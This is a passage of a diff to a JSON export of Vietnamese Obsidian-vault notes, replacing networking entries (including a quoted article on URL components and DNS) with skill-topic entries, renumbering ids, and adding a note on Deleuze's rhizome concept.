tên file]]\r\n[[Cách các đường dẫn ở những nơi khác nhau xử lý dấu cách và ký tự phi ASCII]]\r\n\r\n## Ừ thì nhược điểm vậy đó, rồi thì sao?\r\nThì nếu bạn nhắm nội dung của mình chất lượng đủ để vượt qua được những nhược điểm đó thì cứ việc dùng. Bạn phải xác định là bạn đang tạo ra một thói quen mới cho độc giả, và việc này sẽ cần nhiều sự kiên trì và phản ứng ban đầu. Đây cũng chính là tinh thần \"dám đối diện nỗi sợ\", \"dám yên tâm rằng mọi chuyện rồi nhất định sẽ tốt đẹp\" mà Quả Cầu đang muốn lan toả.\r\n\r\n> Có vài người nói, \"Đưa khách hàng những gì họ muốn.\" Nhưng đó không phải là cách của tôi. Công việc của chúng tôi là tìm ra những gì khách hàng sẽ muốn trước cả họ. Tôi nghĩ Henry Ford từng nói, \"Nếu tôi hỏi khách hàng họ muốn gì, họ sẽ nói với tôi, 'Một con ngựa nhanh hơn!'\" Người ta không biết mình muốn gì cho đến khi bạn đưa cho họ xem. Đó là lý do tại sao tôi không bao giờ dựa vào nghiên cứu thị trường. Nhiệm vụ của chúng tôi là đọc ra những thứ còn chưa có trên mấy tờ trang giấy ấy.\"\r\n", + "Toàn bộ nội dung": "- [ ] Biết xài amply\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dl" + "id": "hY" }, { - "Tiêu đề": "URL bao gồm scheme, host, port, path, query, fragment", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Tên miền, URI/URL bao gồm scheme, host, port, path, query, fragment", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Diễn kịch", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Ξ Khác/Trình diễn/Diễn kịch", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# How The URL Was Built\r\n![How The URL Was Built](https://cdn-images.welcometothejungle.com/oNKNwujNe-mhEBk94_L0q6kDeK-uwlHvXpQvFqyqQe8/rs:auto:980::/q:85/czM6Ly93dHRqLXByb2R1Y3Rpb24vdXBsb2Fkcy9hcnRpY2xlL2ltYWdlLzAzMjUvMTU5MzY4L1VSTC5wbmc)\r\n\r\nauthor [Sarvesh Mathi](https://www.welcometothejungle.com/en/authors/sarvesh-mathi)\r\n\r\nThe Internet is one of the greatest inventions of mankind, but it would have amounted to little if not for the World Wide Web (WWW). So much so that we use the two words “Internet” and “Web” synonymously. Technically, the Internet is the [infrastructure](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/How_does_the_Internet_work) connecting billions of computers together, and the Web is a service built on top of this. The Web is what we use every day to do everything from looking up information to connecting with people across the world.\r\n\r\nThe Web was invented as a solution to the problem of passing around information between computers. Although this was possible before the Web, the absence of a uniform format and protocol made the whole process cumbersome. _“Often it was just easier to go and ask people when they were having coffee,”_[writes Sir Tim Berners-Lee](https://www.w3.org/People/Berners-Lee/Kids.html#keep), who invented the WWW in 1989. _“I actually wrote some programs to take information from one system and convert it so it could be inserted into another system. More than once. And when you are a programmer, and you solve one problem and then you solve one that’s very similar, you often think, ‘Isn’t there a better way? Can’t we just fix this problem for good?’ That became, ‘Can’t we convert every information system so that it looks like part of some imaginary information system that everyone can read?’ And that became the WWW.”_\r\n\r\nThe WWW stands on three pillars: [HTML](https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/HTML_basics), the language we use to make web pages; [HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview), the protocol we use to send and receive resources over the Internet; and the [URL](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_URL). Here, we’ll explore the history and role of each of the components that make up the URL, which [Berners-Lee describes](https://www.w3.org/DesignIssues/Architecture.html) as the _“most fundamental specification of Web architecture.”_\r\n\r\n## What is the URL?\r\n\r\nOnce we expand the abbreviation, URL becomes self-explanatory. The uniform resource locator is simply an address to a resource on the Internet, most often a web page.\r\n\r\nWhen we wish to access a resource on the Web, the web browser on our computer has to connect to the [web server](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_web_server) hosting the desired resource and locate the resource within this server. The details for which web server to connect to, where to look within the server, and what to look for are specified in the URL.\r\n\r\nWe mostly use URLs by either directly typing them into the browser’s address bar or by clicking on [hyperlinks](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_are_hyperlinks).\r\n\r\nA URL is made of multiple components, each with its own history and purpose. Here’s a breakdown of these components:\r\n\r\nURL Syntax: \r\nscheme: [ // [ userinfo@ ] host [ :port ] ] [ / ] [ path ] [ ?query ] [#fragment ]\r\n\r\nExample:\r\n\r\n![image](https://cdn.welcometothejungle.co/uploads/image/file/6023/159368/68dca0f2-7683-4ba9-a87a-3a7fdbe8015e.png)\r\n\r\n## Scheme: Which protocol to use?\r\n\r\n![image](https://cdn.welcometothejungle.co/uploads/image/file/4115/159368/3effb769-93d1-400c-92b6-dda32a3afffc.png)\r\n\r\nThe scheme is the first component of the URL. It declares how your web browser should communicate with the web server by specifying the protocol to use. Everything that follows the scheme depends on the type of protocol in use.\r\n\r\nYou’ve probably only come across the http or https protocols and you might wonder why something so universal must be specified. Historically, this wasn’t the case. Before the Web, the FTP and Gopher protocols were commonly used. The URL syntax was designed to accommodate these old standards as well as be flexible enough for any new standards. Fortunately, HTTP became the popular standard over time. As Berners-Lee writes, inventing the Web was easy—_“The amazing thing which makes it work is that so many people actually have made web servers, and that they all work the same way, on the Internet. They all use HTTP.”_ As a result of this widespread adoption, most browsers autofill URLs with the default http/https protocols, even if you forget to type them out. However, less-common protocols, such as ftp and mailto, are still in use in some cases, and they need to be explicitly specified.\r\n\r\n## Host: The most well-known component\r\n\r\n![image](https://cdn.welcometothejungle.co/uploads/image/file/4130/159368/01c37f3c-3b77-46d7-ad30-88fa72dea06e.png)\r\n\r\nFollowing the colon, which indicates the end of the scheme, the authority component, which consists of the userinfo and host, begins with a double slash. Why the double slash? Berners-Lee simply copied it from [the Apollo computer](https://www.hpmuseum.net/divisions.php?did=28), a high-end workstation at the time. It was used in Apollo to show a separation between the machine name and path. In the URL, it shows a separation between the scheme and host. But [Berners-Lee confesses](http://news.bbc.co.uk/2/hi/technology/8306631.stm) that the double slash is unnecessary. _“Look at all the paper and trees that could have been saved if people had not had to write or type out those slashes on paper over the years—not to mention the human labor and time spent typing those two keystrokes countless millions of times in browser address boxes,”_[he jokes](https://bits.blogs.nytimes.com/2009/10/12/the-webs-inventor-regrets-one-small-thing/).\r\n\r\nFollowing the double slash is the optional userinfo substring that is absent in our example above. This substring was in the format username:password, but it soon became evident that anyone snooping on the connection could decipher the password. As a result, the password component is no longer in use. The userinfo component is also rarely used nowadays, except with the mailto protocol.\r\n\r\nFollowing the userinfo is the host. The host is the most well-known component of the URL because it consists of the domain name. For example, www.welcometothejungle.com. The web browser uses this name to fetch the IP address of the web server hosting the desired page. Alternatively, we can directly specify the IP address as the host, but you’ll surely agree that it’s much easier to remember welcometothejungle.com than 52.211.16.159, for instance.\r\n\r\nThe components of the domain name are split by a period (.), but it could have easily been an exclamation mark (!), which was the standard convention used with a popular data transfer tool called UUCP back then. However, the pioneers of the domain name system (DNS) used the period, for no specific reason, and we stuck with that.\r\n\r\nThe www part of the domain identifies the address as a website. We merely use it because of historical convention. Back then, a single server served multiple purposes, the www indicated that a particular subdomain of the server was for website hosting. This is no longer true because we now have dedicated web servers. As a result, omitting www won’t do any harm. When the site has a subdomain—for example, en. Wikipedia.org—the www is replaced with the subdomain.\r\n\r\nAfter the www comes the actual domain name itself. Since humans prefer working with easy-to-remember names, such as google.com and bbc.co.uk, but web browsers work only with IP addresses, there needs to be a way to translate from one to the other. In the early days of the ARPANET, the US Department of Defense project that was a precursor to the modern Internet, this was done manually by people who kept track of computers and their respective IP addresses and passed on this information if someone requested it. However, with billions of computers around the world, this is clearly impractical now. Manual handling of this information also meant it was not possible to get the IP address of a recently added host after normal working hours or on holidays. _“If you wanted to add a machine to the network, you had to call SRI [Stanford Research Institute], and you would talk to the Network Information Center and ask for a name and an address. The problem is that SRI was off during Christmas week, and they went home on weekdays,”_[says Dr. Paul Mockapetris](https://www.wired.com/2012/07/paul-mockapetris-dns/), inventor of the DNS, which solved these issues for us.\r\n\r\nThe DNS works like a phone book, matching domain names to their IP address(es). The whole process is strikingly similar to [how telephones used to operate](https://thehistoryoftheweb.com/history-of-the-url/) with the switchboard operators of yesteryear. When you enter a domain name into the address bar of the web browser, here’s what happens:\r\n\r\n1. The browser looks through [caches](https://www.lifewire.com/what-is-a-dns-cache-817514). If the cache has the IP address, the DNS query process ends there.\r\n2. If not, the computer connects to a specialized server called [the DNS recursive resolver](https://www.cloudflare.com/learning/dns/what-is-dns/), which in turn, goes around looking for the IP address of the requested domain.\r\n3. The DNS resolver first asks the root name server, which then points to a top-level domain (TLD) name server (such as com or edu), which then points toward servers lower in the hierarchy.\r\n4. Ultimately, the DNS returns the IP address for the requested domain name to the web browser. Since a domain can be mapped to multiple IP addresses, the most relevant one, based on factors such as location of the user or server load, is returned.\r\n5. With", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-27T15:04:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dm" + "id": "hZ" }, { - "Tiêu đề": "URN giống như tên người, còn URL giống như địa chỉ nhà", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Tên miền, URI/URN giống như tên người, còn URL giống như địa chỉ nhà", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Dẫn chương trình, luyện giọng nói", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Ξ Khác/Trình diễn/Dẫn chương trình, luyện giọng nói", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Uniform Resource Identifier - Wikipedia](https://en.wikipedia.org/wiki/Uniform_Resource_Identifier)", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dn" + "id": "ha" }, { - "Tiêu đề": "www thực ra chỉ là một tên miền thứ cấp như bao tên miền thứ cấp bình thường khác", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Tên miền, URI/www thực ra chỉ là một tên miền thứ cấp như bao tên miền thứ cấp bình thường khác", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Quản trò", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Ξ Khác/Trình diễn/Quản trò", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Why Do Some Websites Start With WWW1? (Not WWW) - YouTube](https://youtu.be/8Fq-hsGYS-8)\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "do" + "id": "hb" }, { - "Tiêu đề": "🖥️Mạng máy tính", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/🖥️Mạng máy tính", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Tài chính", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Ξ Khác/Tài chính", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![Điều gì xảy ra khi bạn vào một trang web | Cách hoạt động của Browser | TechMely - YouTube](https://youtu.be/II36vixCITs)\n[Networking comic](https://jvns.ca/networking-zine.pdf) \n\n```dataview\nLIST rows.file.link\nFROM \"🖥️Mạng máy tính\" \nWHERE file.name!=this.file.name\ngroup by split(file.folder, \"/\" )[1] \n```\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T07:38:00.000Z", - "Ngày cập nhật": "2024-08-18T09:20:00.000Z", - "id": "dp" + "id": "hc" }, { "Tiêu đề": "Chủ nghĩa Marx – Lenin là sản phẩm của Stalin", @@ -41097,7 +44691,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-18T06:38:00.000Z", "Ngày cập nhật": "2024-08-18T06:38:00.000Z", - "id": "dq" + "id": "hd" }, { "Tiêu đề": "Đông Kinh Nghĩa Thục là trường khai phóng đầu tiên ở Việt Nam", @@ -41113,7 +44707,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-09T02:59:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "dr" + "id": "he" }, { "Tiêu đề": "Hậu hiện đại trong kiến trúc là sự kết hợp giữa các phong cách khác nhau", @@ -41129,7 +44723,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "ds" + "id": "hf" }, { "Tiêu đề": "Bộ não được thiết kế để loại bỏ mối nguy hiểm ngay bây giờ, không phải trong tương lai", @@ -41145,7 +44739,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-12T17:06:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "dt" + "id": "hg" }, { "Tiêu đề": "Có những vấn đề lúc cần nói ra thì không không nghĩ ra nhưng vẫn cảm thấy chưa vét cạn", @@ -41161,7 +44755,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "du" + "id": "hh" }, { "Tiêu đề": "Có sự chênh lệch về sự thoải mái trong việc hỏi và việc trả lời", @@ -41177,7 +44771,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "dv" + "id": "hi" }, { "Tiêu đề": "Framework thường dùng cho nhiều tình huống khác nhau, trong khi model thường dùng cho một tình huống cụ thể", @@ -41193,7 +44787,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "dw" + "id": "hj" }, { "Tiêu đề": "Hiểu biết sâu làm ta thấy khoái cảm", @@ -41209,7 +44803,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-28T14:12:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "dx" + "id": "hk" }, { "Tiêu đề": "Hot cognition và cold cognition", @@ -41225,7 +44819,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "dy" + "id": "hl" }, { "Tiêu đề": "Lặp lại theo khoảng (spaced repetition)", @@ -41241,7 +44835,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "dz" + "id": "hm" }, { "Tiêu đề": "Con người cố gắng nhìn ra mẫu hình, kể cả khi đó chỉ là sự ngẫu nhiên", @@ -41257,7 +44851,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "d-" + "id": "hn" }, { "Tiêu đề": "Con người thường cố gắng tìm ra mẫu hình, kể cả khi nó không có ở đó", @@ -41273,7 +44867,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-05T08:51:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "d_" + "id": "ho" }, { "Tiêu đề": "Cờ vua trông như là tư duy logic, nhưng thật ra chỉ là nhìn thấy mẫu hình", @@ -41289,7 +44883,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "e0" + "id": "hp" }, { "Tiêu đề": "Sự chuyên gia (expertise) đến từ việc nhìn ra mẫu hình", @@ -41306,7 +44900,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-07-26T03:33:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "e1" + "id": "hq" }, { "Tiêu đề": "Trực giác là việc nhìn ra mẫu hình không hơn không kém", @@ -41322,7 +44916,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-07-26T03:33:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "e2" + "id": "hr" }, { "Tiêu đề": "Trực giác là việc đi tới kết luận mà không thông qua suy luận", @@ -41338,7 +44932,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "e3" + "id": "hs" }, { "Tiêu đề": "Việc nhìn ra mẫu hình cần những kiến thức có cấu trúc được lưu trong trí nhớ dài hạn", @@ -41354,7 +44948,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-05T08:39:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "e4" + "id": "ht" }, { "Tiêu đề": "Não con người thay đổi rất chậm", @@ -41370,7 +44964,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "e5" + "id": "hu" }, { "Tiêu đề": "Não cần thời gian để kết nối các ý tưởng lại với nhau", @@ -41386,7 +44980,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "e6" + "id": "hv" }, { "Tiêu đề": "Bất hoà nhận thức giúp chúng ta hiểu sâu sắc hơn", @@ -41402,7 +44996,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-11T03:30:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "e7" + "id": "hw" }, { "Tiêu đề": "Càng mất nhiều ta càng học nhiều", @@ -41418,7 +45012,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-11T03:30:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "e8" + "id": "hx" }, { "Tiêu đề": "Các nghịch lý tạo ra bất hoà nhận thức", @@ -41434,7 +45028,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "e9" + "id": "hy" }, { "Tiêu đề": "Cảm xúc không chỉ khiến ta nhớ tốt hơn, mà còn điều hướng những suy nghĩ tự động", @@ -41450,7 +45044,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "eA" + "id": "hz" }, { "Tiêu đề": "Khoảnh khắc loé sáng ý tưởng thường đến vào những lúc ta không tập trung chú ý", @@ -41466,7 +45060,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "eB" + "id": "h-" }, { "Tiêu đề": "Sự dễ hiểu làm tăng sự đáng tin, dù có thể nó không hợp lý", @@ -41482,7 +45076,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "eC" + "id": "h_" }, { "Tiêu đề": "Sự lập luận dùng để thống nhất, nhưng lại có sự thờ ơ với lập luận", @@ -41498,7 +45092,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "eD" + "id": "i0" }, { "Tiêu đề": "Sự lập luận không được tiến hoá để có quyết định tốt hơn, mà để có quyết định nhiều người đồng ý nhất", @@ -41514,7 +45108,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "eE" + "id": "i1" }, { "Tiêu đề": "Sự suy luận (reasoning) là việc đưa ra những thông tin mới từ những thông tin đã có một cách có ý thức", @@ -41530,7 +45124,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "eF" + "id": "i2" }, { "Tiêu đề": "Sự đau chi phối sự diễn giải của ta", @@ -41546,7 +45140,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-12-02T03:14:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "eG" + "id": "i3" }, { "Tiêu đề": "Ta không nhớ những điều mình đã làm người khác đau bằng nhớ những điều người khác làm mình đau", @@ -41562,7 +45156,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-12-02T03:14:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "eH" + "id": "i4" }, { "Tiêu đề": "Thay vì suy luận để đi tới kết luận, chúng ta thường dùng kết luận để suy luận", @@ -41578,7 +45172,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "eI" + "id": "i5" }, { "Tiêu đề": "Trong hoạt động nhóm, thiên kiến xác nhận giúp giảm gánh nặng suy nghĩ mà vẫn đảm bảo mọi lập luận được trình bày và cân nhắc", @@ -41594,7 +45188,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "eJ" + "id": "i6" }, { "Tiêu đề": "Truyện cười thể hiện những nghịch lý", @@ -41610,7 +45204,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "eK" + "id": "i7" }, { "Tiêu đề": "Việc con người không thường xuyên suy luận tốt dường như là một sự sắp đặt có chủ ý của tiến hoá", @@ -41626,7 +45220,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "eL" + "id": "i8" }, { "Tiêu đề": "Đuối lý không nhất thiết là thấy thuyết phục hoàn toàn", @@ -41642,7 +45236,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "eM" + "id": "i9" }, { "Tiêu đề": "Sự trì hoãn giúp giảm những hệ quả không lường trước được", @@ -41658,7 +45252,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "eN" + "id": "iA" }, { "Tiêu đề": "Tiếng Việt rất không thuận lợi cho việc tìm hiểu các mức độ nhận thức", @@ -41674,7 +45268,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "eO" + "id": "iB" }, { "Tiêu đề": "Việc trì hoãn giúp đánh giá được mức độ quan trong", @@ -41690,7 +45284,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "eP" + "id": "iC" }, { "Tiêu đề": "Đường cong trí nhớ", @@ -41706,7 +45300,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-09T08:58:00.000Z", - "id": "eQ" + "id": "iD" }, { "Tiêu đề": "Ngày, tháng, năm là những đơn vị thời gian tự nhiên. Tuần là do con người tự đặt", @@ -41722,7 +45316,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-31T09:21:00.000Z", - "id": "eR" + "id": "iE" }, { "Tiêu đề": "Pháp dùng Việt Nam để thí nghiệm một số cải cách xã hội của mình", @@ -41738,7 +45332,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-21T06:27:00.000Z", "Ngày cập nhật": "2024-08-21T06:30:00.000Z", - "id": "eS" + "id": "iF" }, { "Tiêu đề": "Từ góc nhìn sinh thái học kháng chuẩn, mọi phát biểu nhân danh tự nhiên đều có chỗ đáng ngờ", @@ -41754,7 +45348,23 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-26T14:42:00.000Z", "Ngày cập nhật": "2024-08-31T18:06:00.000Z", - "id": "eT" + "id": "iG" + }, + { + "Tiêu đề": "Rhizome", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Rhizome", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Chủ đề:: [[Lý thuyết đồ thị]], [[Giải trung tâm]]\n❓:: [[Sự phân loại]]\n## Sách rễ cọc\nMô hình nhị phân có sự thống nhất căn bản, là sự thống nhất của rễ cọc, là trụ cột cho cấu trúc tư duy của con người\n\nSách phản ánh lại, bắt chước thế giới tự nhiên. Chủ nghĩa hiện thực phản ánh thế giới. Các nhân vật trong sách *Những người khốn khổ*, mặc dù cũng đã được lãng mạn hóa nhưng cũng đều phản ánh một tuýp người trong xã hội, ví dụ như Jean Valjean\n\n## Sách rễ con\nRễ chính đã bị thui chột, cấy ghép lên nó là vô số các rễ phụ\nVD: các tác phẩm viết theo khuynh hướng siêu thực, phi lý: không xoay quanh một trục chính nào đó, phi tuyến, nhưng vẫn là hình ảnh của thế giới\n\n## Sách rhizome\nTạo thành rhizome cùng với thế giới, không phản ánh thế giới đang xảy ra tác giả, mà là chỉ báo. Không kết nối với thế giới mà tác giả đang sống, mà kết nối với thế giới sau đó\nVD: sách Kafka mô tả một người một ngày thức dậy thành con bọ, chứ không phải một người tư sản\ncách con người phi nhân tính hoá, mặc dù WW2 chưa xảy ra\n\n### ❓:: Có phải ý của Deleuze là cấu trúc rhizome mới là cấu trúc của thực tại, còn cấu trúc rễ cọc thì chỉ là sự mô phỏng của con người? \nTriết học của Deleuze là triết học nội tại, không phải triết học siêu việt - triết học ở đây\nThực tại trong chiến tranh lạnh là thực tại của rễ cọc. Thực tại rễ cọc đã từng tồn tại. Sau chiến tranh lạnh, Nga không còn là rễ cọc của LX\n\n### ❓:: Có phải những cấu trúc rễ cọc nay phải sửa lại không? Bản thân rhizome trong sinh vật cũng là một nhánh trong cây phân loại, mà cái cây đó là cũng không phải rhizome\n### ❓:: Khi nào thì ý tưởng về rhizome áp dụng được? Ví dụ như virus là một rhizome, nhưng vaccine thì vẫn phân phối theo cách có cấu trúc.\n### Cú pháp theo kiểu rhizome sẽ trông như thế nào? \nÝ nghĩa, cú pháp bị phá vỡ, mã ngôn ngữ bị rối loạn, thường thấy trong ngôn ngữ của các nhóm thiểu số, người có rối loạn ngôn ngữ, ngôn ngữ văn học. Ở VN có thể có Bùi Giáng có thể có ngôn ngữ rhizome:\n> Tôi sẽ ra đi bỏ lại đời \n> Mỹ Tho Mỹ Thọ Sóc Trăng ơi \n> Mỹ Thỏ muôn đời là Sóc Trắng \n> Gái mặc quần ra đứng ngó trời\n\nTrạng thái rhizome là trạng thái chưa hoàn thành\n# Các nguyên tắc của rhizome\n## 1 + 2. Kết nối và dị biệt\n- Bất kỳ một điểm nào của rhizome cũng có thể được kết nối với bất kỳ một điểm nào khác, và cần phải được kết nối\n- Trong một rhizome, mỗi một đặc điểm không nhất thiết phải quy dẫn về một đặc điểm ngôn ngữ\n> Một rhizome không ngừng kết nối với những mắt xích ký hiệu học, những tổ chức quyền lực, những dấu hiệu dẫn tới nghệ thuật, khoa học, các cuộc đấu tranh xã hội\n\nMột rhizome vẫn là kết nối, nhưng trong sự kết nối vẫn dị biệt. Cho nên Deleuze mới để 2 nguyên tắc này cùng một chỗ vì chúng luôn đi kèm với nhau\n\n\n## 3. Đa tạp\n### Cái Một -- cái Nhiều\nQuan điểm nhị nguyên, hình thái cây rễ cọc, các điểm, vị trí có chủ thể - đối tượng\nNgười Eliates cho rằng thế giới là cái Một (chỉ có một thế giới). Người Ionien cho rằng thế giới là cái nhiều. Platon và Aristote cho rằng thế giới là cái một và cái nhiều \n- Plotinus (tk 3 TCN): cái Một cao hơn tồn tại. Cái Một là nguyên tắc đầu tiên từ đó phát sinh mọi vật, còn cái Nhiều là cấp độ thấp của tồn tại, cấu thành cái Một\n- Aristote (tk 4 TCN): cái Một chính là tồn tại\n- Platon (tk 4-5 TCN): đưa ra 3 